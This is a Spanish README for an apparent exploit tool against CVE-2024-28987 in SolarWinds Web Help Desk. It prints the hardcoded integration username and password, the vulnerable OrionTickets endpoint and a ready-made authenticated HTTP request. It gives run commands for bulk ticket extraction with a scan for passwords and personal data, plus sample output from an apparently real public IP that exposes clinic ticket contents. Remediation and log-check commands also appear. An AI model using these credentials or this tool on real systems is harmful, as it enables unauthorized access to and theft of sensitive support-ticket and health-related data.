
CVE-2024-28987 — Actualizado!
**CVE-2024-28987** es una vulnerabilidad crítica en SolarWinds Web Help Desk (WHD) que permite a atacantes remotos acceder a información sensible de los tickets mediante **credenciales codificadas**. Esta vulnerabilidad tiene una **puntuación CVSS de 9.1 (Crítica)** y está siendo explotada activamente.
CVE-2024-28987 - Exploit de Credenciales Hardcodeadas en SolarWinds Web Help Desk
⚠️ DESCARGO DE RESPONSABILIDAD: Esta herramienta es solo para fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Utiliza esta herramienta únicamente en sistemas que te pertenezcan o tengan permiso explícito para probar.
📋 Resumen
CVE-2024-28987 es una vulnerabilidad crítica en SolarWinds Web Help Desk (WHD) que permite a atacantes remotos acceder a información sensible de tickets mediante credenciales hardcodeadas. Esta vulnerabilidad tiene una puntuación CVSS de 9.1 (Crítica) y se está explotando activamente en la naturaleza.
Detalles de la Vulnerabilidad
| Atributo | Valor |
|---|---|
| ID CVE | CVE-2024-28987 |
| Puntuación CVSS | 9.1 (Crítica) |
| CWE | CWE-798 (Credenciales Hardcodeadas) |
| Productos Afectados | SolarWinds Web Help Desk ≤ 12.8.3 Hotfix 1 |
| Versión Parcheada | 12.8.3 Hotfix 2 |
| Explotación | Explotada activamente en la naturaleza |
| Añadido al KEV de CISA | 15 de octubre de 2024 |
Impacto
Un atacante no autenticado puede:
- Acceder a todos los tickets de soporte que contienen información sensible
- Ver contraseñas temporales, solicitudes de restablecimiento y credenciales de servicios compartidos
- Realizar operaciones CRUD en los tickets a través del endpoint
/OrionTickets - Potencialmente moverse lateralmente a otros sistemas de la red
🔧 Características
- ✅ Detección automática de vulnerabilidad - Prueba las credenciales hardcodeadas
- ✅ Extracción de tickets - Recupera todos los tickets de sistemas vulnerables
- ✅ Escaneo de datos sensibles - Identifica contraseñas, credenciales, PII y datos médicos
- ✅ Múltiples formatos de salida - JSON y JSONL para conjuntos de datos grandes
- ✅ Vista previa interactiva - Muestra los primeros 3 tickets antes de la extracción
- ✅ Cero dependencias - Utiliza solo la biblioteca estándar de Python
- ✅ Salida colorida - Legibilidad mejorada con colores ANSI
- ✅ Manejo de errores - Gestión correcta de errores de conexión
🚀 Inicio Rápido
Requisitos Previos
- Python 3.6 o superior
- ¡No se requieren dependencias externas!
Instalación
# Clone the repository
git clone https://github.com/Darabium/CVE-2024-28987.git
cd CVE-2024-28987
# Make the script executable
Usage
bash
# With target URL as argument
python3 cve-2024-28987.py http://target-ip:port
# Interactive mode (will prompt for target)
python3 cve-2024-28987.py
# Example with a vulnerable target
python3 cve-2024-28987.py http://192.168.1.100:8098
📊 Ejemplo de Salida
$ python3 cve-2024-28987.py http://138.94.193.65:8098
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║
║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗██║ ██║██╔════╝ ║
║ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║███████║█████╗ ║
║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔══██║██╔══╝ ║
║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝██║ ██║███████╗ ║
║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ║
║ ║
║ CVE-2024-28987 - SolarWinds Web Help Desk ║
║ Hardcoded Credentials Vulnerability ║
║ ║
╠══════════════════════════════════════════════════════════════════╣
║ GitHub: https://github.com/Darabium ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking http://****:**/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
[+] Target is VULNERABLE!
[+] Found 42 tickets
======================================================================
[📋] Ticket Preview (First 3 tickets)
======================================================================
Ticket #1
├── ID: 5690
├── Client: UBS Portao Vermelho
├── Status: Open
├── Detail: BOA TARDE ENCAMINHO SOLICITAÇÃO DE MATERIAIS DA ODONTO
Ticket #2
├── ID: 5691
├── Client: UBS Centro
├── Status: In Progress
├── Detail: ALCOOL 70% - Solicitação de material de limpeza
======================================================================
[🔐] Scanning for Sensitive Data
======================================================================
[!] Potential PASSWORD data found in ticket #5723
└── detail: Please reset my password for system access...
[?] Do you want to extract ALL tickets to file? [y/N]: y
[*] Saving to: 138_94_193_65_8098_tickets.json
[✓] Successfully saved 138_94_193_65_8098_tickets.json
[*] File size: 42,847 bytes
[*] Total tickets: 42
[*] Done!
GitHub: https://github.com/Darabium
📁 Estructura de Archivos
CVE-2024-28987/
├── cve-2024-28987.py # Main exploit script
├── README.md # This file
└── LICENSE # MIT License
Archivos de Salida
Cuando extraigas tickets, se crean los siguientes archivos:
# Standard JSON format (always created)
138_94_193_65_8098_tickets.json
# JSONL format (created if > 100 tickets)
***_tickets.jsonl
🔍 Detalles Técnicos
Credenciales Hardcodeadas
USERNAME = "helpdeskIntegrationUser"
PASSWORD = "dev-C4F8025E7"
Endpoint Afectado
/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
Ejemplo de Solicitud HTTP
GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1
Host: vulnerable-target:8098
Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0ZjgwMjVFNw==
Content-Type: application/x-www-form-urlencoded
🛡️ Remediación
Acciones Inmediatas
- Actualiza de inmediato a SolarWinds Web Help Desk versión 12.8.3 Hotfix 2 o posterior
- Revisa los registros en busca de accesos sospechosos al endpoint
/OrionTickets - Monitorea accesos no autorizados a los datos de tickets
- Restablece todas las credenciales que puedan haber estado expuestas en los tickets
- Revisa todos los tickets de soporte para detectar posibles fugas de datos
Comandos de Detección
# Check for exploitation attempts in logs
grep -i "OrionTickets" /var/log/webhelpdesk/access.log
# Check for unauthorized access patterns
grep -i "helpdeskIntegrationUser" /var/log/webhelpdesk/access.log
# Check current version
cat /opt/WebHelpDesk/version.txt
🚨 Aviso KEV de CISA
Esta vulnerabilidad ha sido añadida al catálogo de Vulnerabilidades Explotadas Conocidas (KEV) de CISA. Se requiere que las organizaciones apliquen el parche antes de la fecha límite especificada.
- Fecha de adición: 15 de octubre de 2024
- Acción requerida: Aplicar las actualizaciones según las instrucciones del proveedor
- Fecha límite: 5 de noviembre de 2024 (21 días)
📚 Referencias
- NVD CVE-2024-28987
- Catálogo KEV de CISA
- Aviso de Seguridad de SolarWinds
- PEP 668 - Gestión de Entornos Externos
🤝 Contribuciones
¡Las contribuciones son bienvenidas! No dudes en enviar pull requests o abrir issues.
Pautas
- Haz un fork del repositorio
- Crea tu rama de características (
git checkout -b feature/AmazingFeature) - Haz commit de tus cambios (
git commit -m 'Add some AmazingFeature') - Sube la rama (
git push origin feature/AmazingFeature) - Abre una Pull Request
📝 Licencia
Este proyecto está licenciado bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.
⚡ Autor
Darabium - Trabajo inicial - GitHub
⚠️ Notas Importantes
- Esta herramienta está destinada a la investigación de seguridad y fines educativos
- No la utilices en sistemas que no te pertenezcan o para los que no tengas permiso explícito de prueba
- El autor no es responsable del mal uso de esta herramienta
- Sigue siempre las prácticas de divulgación responsable
- Respeta las leyes de privacidad y protección de datos de tu jurisdicción
🌟 Historial de Estrellas
Si encuentras útil esta herramienta, ¡por favor dale una ⭐ en GitHub!
📞 Soporte
- Abre un issue en GitHub para reportar errores
- Para problemas de seguridad, contacta directamente a través de GitHub
Hecho con ❤️ para Darabium